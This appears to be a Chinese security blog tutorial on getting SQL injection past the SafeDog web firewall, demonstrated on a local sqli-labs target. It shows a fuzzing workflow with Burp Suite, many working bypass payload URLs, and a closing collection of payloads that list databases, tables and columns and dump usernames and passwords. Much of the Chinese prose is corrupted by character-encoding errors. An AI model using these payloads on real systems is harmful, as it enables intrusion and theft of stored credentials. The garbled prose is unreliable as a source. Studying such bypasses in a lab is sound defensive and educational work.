作者名:Demo不是emo?
主頁(yè)面鏈接:主頁(yè)傳送門
創(chuàng)作初心:舞臺(tái)再大,你不上臺(tái),永遠(yuǎn)是觀眾,沒(méi)人會(huì)關(guān)心你努不努力,摔的痛不痛,他們只會(huì)看你最后站在什么位置,然后羨慕或鄙夷
座右銘:不要讓時(shí)代的悲哀成為你的悲哀
專研方向:網(wǎng)絡(luò)安全,數(shù)據(jù)結(jié)構(gòu)每日emo:保持心臟震蕩,等有人與我共鳴
?sql注入不會(huì)繞過(guò)WAF?關(guān)注我,讓我?guī)阌珊?jiǎn)入難實(shí)戰(zhàn)各個(gè)WAF,今天先來(lái)看看web安全滲透必會(huì)的安全狗WAF,你會(huì)繞嗎?看我?guī)銓⑺孟?/p>
目錄
一:環(huán)境配置
1.sqli-labs的sql注入靶場(chǎng)環(huán)境
2.安全狗waf軟件
3.檢測(cè)WAF是否起作用
?二:思路講解?
1.語(yǔ)句被攔截的處理辦法
?2.Fuzz繞過(guò)利用
三:繞過(guò)實(shí)戰(zhàn)?
1.驗(yàn)證存在注入?
2.order by 繞過(guò)
3. union語(yǔ)句繞過(guò)
4.敏感信息繞過(guò)
三.bypass安全狗姿勢(shì)匯總
一:環(huán)境配置
1.sqli-labs的sql注入靶場(chǎng)環(huán)境
這個(gè)我相信屏幕前的滲透大牛們應(yīng)該都有吧(沒(méi)有的可以私我拿),這里就不多介紹了,主要是拿實(shí)戰(zhàn)環(huán)境過(guò)不了審,所以只能用靶場(chǎng),大家理解一下,思路都是一樣的
2.安全狗waf軟件
?這個(gè)應(yīng)該很多人都沒(méi)有,但是我肯定為大家準(zhǔn)備好了啊,鏈接如下(就問(wèn)服務(wù)到不到位)
鏈接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg?
提取碼:emlg
下載之后跟著提示安全即可
注意:1.安裝成功之后記得開(kāi)啟安全狗的網(wǎng)站保護(hù)
? ? ? ? ? ?2.記得關(guān)閉安全狗的cc攻擊防護(hù),因?yàn)榇龝?huì)需要批量fuzz,可能被封ip?
3.檢測(cè)WAF是否起作用
?這里以sqli-labs靶場(chǎng)的第一關(guān)做演示,如下
傳入id=1后,加單引號(hào),正常報(bào)錯(cuò),說(shuō)明可能存在注入
http://192.168.0.108/sql/less-1/?id=1'
?再加入%23,回顯正常,說(shuō)明為字符型注入
安裝注入邏輯,輸入and 1=1邏輯判斷語(yǔ)句,出現(xiàn)安全狗攔截頁(yè)面,說(shuō)明安全狗布置成功,如下?
http://192.168.0.108/sql/less-1/?id=1' and 1 = 1 %23
?二:思路講解?
?如上,我們的and 1=1邏輯判斷語(yǔ)句被攔截了,那現(xiàn)在的思路是什么?你認(rèn)為現(xiàn)在應(yīng)該做什么才能繞過(guò)過(guò)濾?這就是我首先要講的,被攔截之后應(yīng)該怎么處理。
1.語(yǔ)句被攔截的處理辦法
這是最應(yīng)該先做也是最簡(jiǎn)單的部分,因?yàn)閃AF大都是通過(guò)黑名單的方式進(jìn)行攔截,所以如果出現(xiàn)了被攔截的情況,大概率是因?yàn)槟愕恼Z(yǔ)句的某個(gè)函數(shù)或其他位置觸發(fā)了黑名單的驗(yàn)證機(jī)制,導(dǎo)致被攔截,那應(yīng)該怎么檢測(cè)呢?其實(shí)一個(gè)一個(gè)試就行了
例如我這里的and 1=1被攔截,就可以依次輸入
and
and(空格)
and 1
and 1=
and 1=1
通過(guò)這種方式看看哪個(gè)語(yǔ)句被攔截,從而判斷是哪個(gè)部分觸發(fā)的攔截,再做對(duì)應(yīng)的繞過(guò)或者替換就可以了
演示: 比如這里我輸入and,正常,and+空格,正常,輸入and 1出現(xiàn)攔截頁(yè)面,如下
http://192.168.0.108/sql/less-1/?id=1' and 1 %23
?說(shuō)明“and 1”這個(gè)部分觸發(fā)了攔截,此時(shí)的繞過(guò)方式可以選擇替換或者繞過(guò),這里我們先試試對(duì)中間的空格進(jìn)行替換
大家都知道語(yǔ)句的很多部分都有對(duì)應(yīng)的替換方式,而且還不止一種,特別是空格的替換方式尤其多,我們不可能全部都能記住,所以這里就要給大家講一個(gè)新的知識(shí)點(diǎn)——FUZZ繞過(guò)
?2.Fuzz繞過(guò)利用
Fuzz測(cè)試,也稱為模糊匹配,意思就是在不知道攻擊poc的情況下,我們通過(guò)編寫腳本或者利用一些自動(dòng)化工具來(lái)進(jìn)行匹配目標(biāo)的腳本,嘗試獲取poc,其實(shí)就是基于字典的爆破,在字典中構(gòu)造語(yǔ)句來(lái)進(jìn)行批量的測(cè)試
?演示:
比如這里我們想替換and和1之間的空格來(lái)繞過(guò)檢測(cè),就可以將空格的替換方式整理到字典中,在使用burp來(lái)批量跑進(jìn)行測(cè)試,嘗試獲取payload,對(duì)于各種位置的替換方式不明白的也可以看一下我的博客,點(diǎn)此進(jìn)入
舉個(gè)簡(jiǎn)單的例子,來(lái)看看下面這個(gè)語(yǔ)句
http://192.168.0.108/sql/less-1/?id=1' and 1=1 %23
如果我們想要替換空格,最常見(jiàn)的就是/**/,如下
http://192.168.0.108/sql/less-1/?id=1'/**/and 1=1 %23
但卻不一定好用,大概率被過(guò)濾,其實(shí)/*和*/中間是可以加特殊符號(hào)的,但加什么,其實(shí)需要慢慢試,這時(shí)候就可以用到fuzz了,直接選中/*和*/中間的數(shù)據(jù),將其作為變量進(jìn)行爆破,如下
?這里payload的類型選擇burpsuite自帶的Brute force,用特殊符號(hào)組成1-4位字典進(jìn)行爆破,如下
?再設(shè)置線程,開(kāi)啟爆破即可,結(jié)果如下?
根據(jù)結(jié)果可以看到/!/!可以成功,配合包著的注釋符就是/*/!/!*/可以替換空格,這就完成了一次繞過(guò)waf和制造payload,這也是sql注入bypass中最常用的技巧,下面就讓我們一起來(lái)看看安全狗的WAF
三:繞過(guò)實(shí)戰(zhàn)?
1.驗(yàn)證存在注入?
剛才我們通過(guò)對(duì)空格的替換方式的fuzz已經(jīng)可以讓如下語(yǔ)句正常執(zhí)行了
http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=1 %23
我們?cè)賴L試一下,1=2的邏輯判斷語(yǔ)句,再次驗(yàn)證是否成功繞過(guò)
http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=2 %23
此時(shí)頁(yè)面出現(xiàn)報(bào)錯(cuò),并沒(méi)有正常顯示,如下
?現(xiàn)在已經(jīng)成功驗(yàn)證除了注入,此時(shí)我們?cè)撟鍪裁茨??一般都是通過(guò)order by語(yǔ)句來(lái)獲取字段數(shù)量,下面讓我們來(lái)試試
2.order by 繞過(guò)
我們直接把后面的邏輯判斷語(yǔ)句嘗試修改為order by,不出意外,被攔截,如下
http://192.168.0.108/sql/less-1/?id=1'order by 2 %23
?老方法,判斷報(bào)錯(cuò)位置,經(jīng)過(guò)測(cè)試是因?yàn)閛rder by這個(gè)語(yǔ)句被識(shí)別導(dǎo)致攔截,所以直接還是用fuzz替換空格,成功繞過(guò),結(jié)果如下
http://192.168.0.108/sql/less-1/?id=1' order/*%26!%26!*/by 3 %2
只有字段數(shù)量為3時(shí)正常顯示,其他都報(bào)錯(cuò),說(shuō)明此處的字段數(shù)為3,我們繼續(xù)深入?
3. union語(yǔ)句繞過(guò)
?下一步就該我們的union語(yǔ)句了,再次嘗試,果不其然又被攔截,如下,問(wèn)題不大,我們繼續(xù)嘗試
http://192.168.0.108/sql/less-1/?id=1' union select 1,2,3 %23
?這里我們繼續(xù)嘗試替換select和union之間的空格,如下
http://192.168.0.108/sql/less-1/?id=1' union/*%2f!%2f*/select 1,2,3 %23
結(jié)果發(fā)現(xiàn)不管用了
咦,怎么不管用了呢?這說(shuō)明什么?這說(shuō)明他并不是通過(guò)“union select”這個(gè)字符串來(lái)判斷的,我們單獨(dú)輸入union試試,果不其然,直接被攔截
當(dāng)單獨(dú)的函數(shù)被攔截時(shí),我們有兩個(gè)選擇,
一個(gè)就是替換union函數(shù)為其它函數(shù),換一個(gè)能實(shí)現(xiàn)同樣功能的函數(shù)
另一個(gè)就是給union加上過(guò)濾標(biāo)志,讓他能夠繞過(guò)WAF的檢測(cè)
?這里我們選擇給union加上過(guò)濾標(biāo)志,這也是首選的,這里的過(guò)濾方式我們選擇內(nèi)斂注釋繞過(guò),內(nèi)倆注釋的格式如下
/*!特殊字符+函數(shù)名*!/
這也是比較好用的方式,但這里的特殊字符比較玄學(xué),所以也需要通過(guò)fuzz來(lái)找出能繞過(guò)的版本號(hào),先在版本號(hào)位置隨便寫個(gè)值作為變量,開(kāi)啟burpsuite,選中變量開(kāi)啟爆破,如下?
http://192.168.0.108/sql/less-1/?id=1' /*!4000union*//*%2f!%2f*/select 1,2,3 %23
爆破設(shè)置與空格的爆破設(shè)置相同,這里就不多講了,結(jié)果如下
?fuzz成功跑出payload,而且還很多,隨便選一個(gè)用,如下
http://192.168.0.108/sql/less-1/?id=1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
可以看到確實(shí)沒(méi)有被攔截了,再將前面的1改成-1,使后面的union語(yǔ)句能夠正常執(zhí)行,如下
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
?
?這樣union語(yǔ)句也可以使用了,我們趁熱打鐵,繼續(xù)繼續(xù)
4.敏感信息繞過(guò)
剛才的union語(yǔ)句已經(jīng)成功繞過(guò),這時(shí)候我們就可以嘗試用union語(yǔ)句獲取數(shù)據(jù),先獲取當(dāng)前數(shù)據(jù)庫(kù)名,如下
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database(),2,3 %23
不出所料,直接攔死
?這就很明顯,database()函數(shù)被WAF識(shí)別并攔截了,那此時(shí)我們可以怎么繞過(guò)呢,當(dāng)然,上面用的內(nèi)聯(lián)注釋也是可行的,但這里我還給大家介紹一種繞過(guò)方式,那就是在database和()中間加注釋,也能被解析,舉個(gè)例子
原:database()
修:database/*xxx*/()
這時(shí)候同樣,將里面的xxx作為變量,繼續(xù)fuzz,設(shè)置和剛才一樣,結(jié)果如下
又跑出來(lái)了一堆繞過(guò)姿勢(shì),6
此時(shí)語(yǔ)句為
http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database/*%26!%26%26*/(),2,3 %23
好了,具體操作也就到這里了,再寫的話就太多了,后面的獲取表名,字段名,數(shù)據(jù)都會(huì)遇到安全狗的攔截,但是用上面的三種方法均可繞過(guò),有興趣的可以試試,下面也為你們準(zhǔn)備了bypass安全狗的全部姿勢(shì)?
四.bypass安全狗姿勢(shì)匯總
查詢當(dāng)前數(shù)據(jù)庫(kù)名稱
-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23
查詢所有數(shù)據(jù)庫(kù)名稱
-1' union/*//--/*//*!--+/*%0aselect/*//--/*//*!--+/*%0a1,2,(select/*//--/*//*!--+/*%0agroup_concat(schema_name) from/*//--/*//*!--+/*%0a information_schema./*!schemata*/)%23
?查指定數(shù)據(jù)庫(kù)的所有表名
-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23
查指定表的所有字段名文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-436028.html
-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name) from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
查指定表的指定字段數(shù)據(jù)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-436028.html
-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password)) from security.users --+
到了這里,關(guān)于【W(wǎng)AF剖析】——SQL注入之安全狗bypass深度剖析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!